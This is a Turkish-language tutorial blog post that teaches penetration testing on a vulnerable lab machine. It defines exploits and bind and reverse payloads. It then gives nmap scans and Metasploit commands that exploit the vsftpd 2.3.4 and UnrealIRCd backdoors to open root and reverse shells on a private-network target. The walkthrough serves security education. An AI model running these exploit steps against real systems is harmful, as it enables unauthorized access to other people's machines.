Zafiyetli Makine Çözümü
Tags: cybersecurity, linux
Published: 2021-12-07 21:03:35

Zaafiyetli makine çözümümüze başlamadan önce birkaç kavramı teorik olarak bilmemiz gerekiyor.Örnek olarak Exploit,payload gibi kavramlara hakim olalım ki sızma testi işleminin mantığını kavrayabilelim.

> **Exploit Nedir?**

Exploit bilgisayar, yazılım, programlarda veyahutta
bir sistemde, sistem açıklarından ya da programcının kod
hatalarını kullanarak sisteme sızmaya veya sistemde istenmeyen hatalar oluşturmak için geliştirilmiş yazılımlar ve programlardır diyebiliriz.

> **Exploitler Neler Yapabilir**

Exploitler yetkimizin bulunmadığı bir sisteme izinsiz giriş yapmabilme,verileri çalabilme,verileri görüntüleme,bu verileri değiştirebilme, sistem üzerinde yetkili kullanıcılar oluşturabilme ,sistemin işleyişini yavaşlatabilme,işleyişi aksatabilme veyahutta devre dışı bırakabilme gibi özellikleri gerçekleştirebilirler.

> **Zero-Day Exploit Nedir?**

Zero-Day exploitler henüz daha açığı kapatılmamış,(yama yapılmamış)
exploitlerdir.Hackerlar geliştirdikleri exploitlerin yayılmasını istemezler. Çünkü yayılırsa bu açık kapanacaktır.

> **Exploit Veritabanları**

https://www.rapid7.com
https://www.exploit-db.com
Bu ve bunun gibi sitelerin içerisinde bir çok exploit bulunmaktadır. Rapid7 Metasploit aracının içerisinde bulunan exploitlerin bulunduğu sitedir.Aynı exploitleri Metasploit aracında da bulabiliriz

> **Payload Nedir ?**

Hedef sisteme exploit doğru bir şekilde uygulandıktan sonra hedefe yollanıp çalıştırılaması istenen yazılıma/modüle verilen addır. Bu modül sayesinde karşı tarafla bağlantımız sağlamış olup karşı tarafa göndereceğimiz gereken komutları bizden bekler/dinler ve modül sayesinde açmış olduğumuz servise gönderir ve bu komutların karşı tarafta çalışmasını sağlar.

> **Bind Payload Nedir?**

Bind payload türünde hedefin açık portundan içeriye sızılıp,bizim hedefe bağlanmamızı sağlayan payloadlardır. Biz karşı sisteme bağlandığımız için olası antivirüsler ve firewall’lar yakalayabilir.


> **Reverse Payload Nedir?**

Reverse payload türünde ise karşı hedef bizim cihazımıza bağlanarak sızma işlemi gerçekleştirilir. Karşı hedef bize bağlandığı için firewall ve antivürüslere yakalanma olasığı düşüktür.


## Sızma İşlemine Giriş

İlk başta nmap aracı ile ağımızdaki cihazları tarayıp listeleyerek sızacağımız cihazın IP adresini bulalım.

```
nmap 10.0.2.0/24 –T5
```

> -T5 parametresi ile taramanın hızlı olmasını sağlıyoruz.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hb8ugv4y2u21j56640a0.png)
 
Şimdi bu IP üzerinden hedef sistemdeki portlarda çalışan servislerin versiyonları hakkında bilgi alalım. 
 
```
nmap –sV 10.0.2.4
```

> -sV parametresi servislerin versiyonlarını getirir.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9ut3mhcp1ftgvvuop65r.png)

> **Metasploit Nedir ? ( msfconsole )** 

Metasploit Framework, hem ofansif hem de defansif güvenlikte kullanılan açık kaynaklı ve Ruby dili ile yazılmış bir  platformdur. Metasploit Framework, sistemlerde bulunan açıkların tespit edilmesi, sömürülmesi ve sistemlere sızılması için gerekli araçları içinde barındıran bir yapıdır. 

Metasploit Framework’ü Kali Linux içerisinde hazır olarak gelmektedir.Çalıştırmak için ise `msfconsole ` Komutu kullanılmalıdır.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/411gegohgs8z4phlr8al.png)

Metasploit üzerinde bir servisin exploitin bulunup bulunmadığını anlamak için `search ` komutunu kullanırız.  

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ck9350ytcwkxsd1a5zgi.png)
 
```
search vsftpd
```
Komutunu kullanarak vsftpd servisinde bir exploitin bulunup bulunmadığını aradık ver karşımıza bir adet exploit çıktı.Bu exploiti kullanmak için bulduğumuz exploitin Name kısmını kullanarak exploiti seçiyoruz.


```
use exploit/unix/ftp/vsftpd_234_backdoor
```
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z0cljbyxknrbi2s6vk2h.png)
 
Exploitimizi seçtik,şimdi de bu exploite uygun payloadları listelememiz gerekiyor bunun için şu komutu kullanıyoruz.

```
show payloads
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k8b552jukvfpr0zx3cx1.png)

Payloadlar listelendi.Aralarından birini seçmek için ise;

```
set payload payload/cmd/unix/interact 
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ze0hbrxf84nocg13778y.png)

Exploitimizi de payloadımızı da seçtik. Şimdi bu exploitin hangi sisteme IP'ye sızacağını belirtmemiz gerek. Aksi takdirde exploit hangi sisteme sızma işlemi yapacağını normal olarak bilemeyecektir. Ayarları göstermek için ise;

```
show options 
```

komutunu kullanırız.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fh45ccmijhbxvuuigis1.png)

Buradaki ayarların ne olduğunu açıklayacak olursak,
RHOST Hedef cihazın IP’si olmalı,
RPORT ise hedef cihazda hangi porttan sızma işlemi yapacaksak o portun numarası olmalı.
Bu ayarları değiştirmek için;

```
set RHOST 10.0.2.4
```

```
set RPORT 21
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/e27r454b7i3xj0vtdi4t.png)

Sızma işlemini başlatmak için ise

```
run 
```
ya da

```
exploit
```
Komutlarını kullanırız.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ikkn1mjx42jek4wxgb4o.png)
 
Görüldüğü gibi bir shell bağlantısının açıldığı yazıyor ekranda. Şuan karşı sisteme başarılı bir şekilde sızdığımızı söyleyebilirim. Şuan karşı sistemde bazı komutları kullanmayı deneyebilirsiniz. Örnek olarak `ls` , `whoami` vb.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5dqxmz2rc0sj5sxvqfnu.png)

Hedef sistemde hangi kullanıcı ile giriş yaptığımızı görmek için 
`whoami` kullanalım.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/htwbn000clu3w9h5wzvs.png)
 
Gördüğünüz gibi root kullanıcıyız.Ancak her zaman bu kadar şanslı olamayabiliriz. Yetkisi düşük bir kullanıcı ile giriş yapmış olabilirdir.O zaman da yetkimizi yükseltmek için farklı yöntemlere başvuracaktık.

**Şimdi ise başka bir sızma testini reverse payload ile yapalım.**

Bu sefer 6667. portta çalışan servisten sisteme sızacağız.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kllt4tv6624dw2butjew.png)
 
Msfconsole üzerinden bu servisi aratalım.

```
Search UnrealIRCd
```
 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m1tbpq0y1037but474la.png)

Gördüğünüz gibi yine bu servis ile ilgili bir exploit bulundu. Hemen kullanımına geçelim.

Bulduğumuz exploiti seçelim.

```
use exploit/unix/irc/unreal_ircd_3281_backdoor
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mfsdeokdl9pbvznys947.png)
 
Exploiti use komutu ile seçtikten sonra payloadlara göz atalım.

```
show payloads
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/a0mxw9pj3m422otszpas.png)
 
Payladımızı set komutu ile seçelim

```
set payload payload/cmd/unix/reverse
```

Her payload çalışmayabilir,çalışmayan payload olursa başka bir payload denemeliyiz.Eğer sisteme sızamazsak bu exploit çalışmadığı anlamına gelmez.Payload'ımızda sorun olabilir,farklı payloadlar denersek sorunu çözebiliriz.

Gerekli ayarlamaları yapalım.

```
show options
```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/01ilb23cg35ar89slz0t.png)
 

Bu sefer RHOST ve RPORT dışında da farklı ayarlar gördük. Bunlar **LHOST** ve **LPORT** .Peki bu LHOST ve LPORT nedir. Başta anlattığımız reverse payload'ın ayarlarıdır. Reverse payloadın çalışma mantığı sızacağımız sistem bize bağlanıyordu. Bu yüzden 

LHOST bizim IP adresimiz
LPORT karşı bağlantının bizimle iletişime geçecek olan port numarası.

Ayarları yaptıktan sonra exploiti çalıştırabiliriz.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/63izb3cpcjb1z9r5hke9.png)
 
Ve gördüğünüz gibi tekrardan karşı sisteme sızmış bulunmaktayız...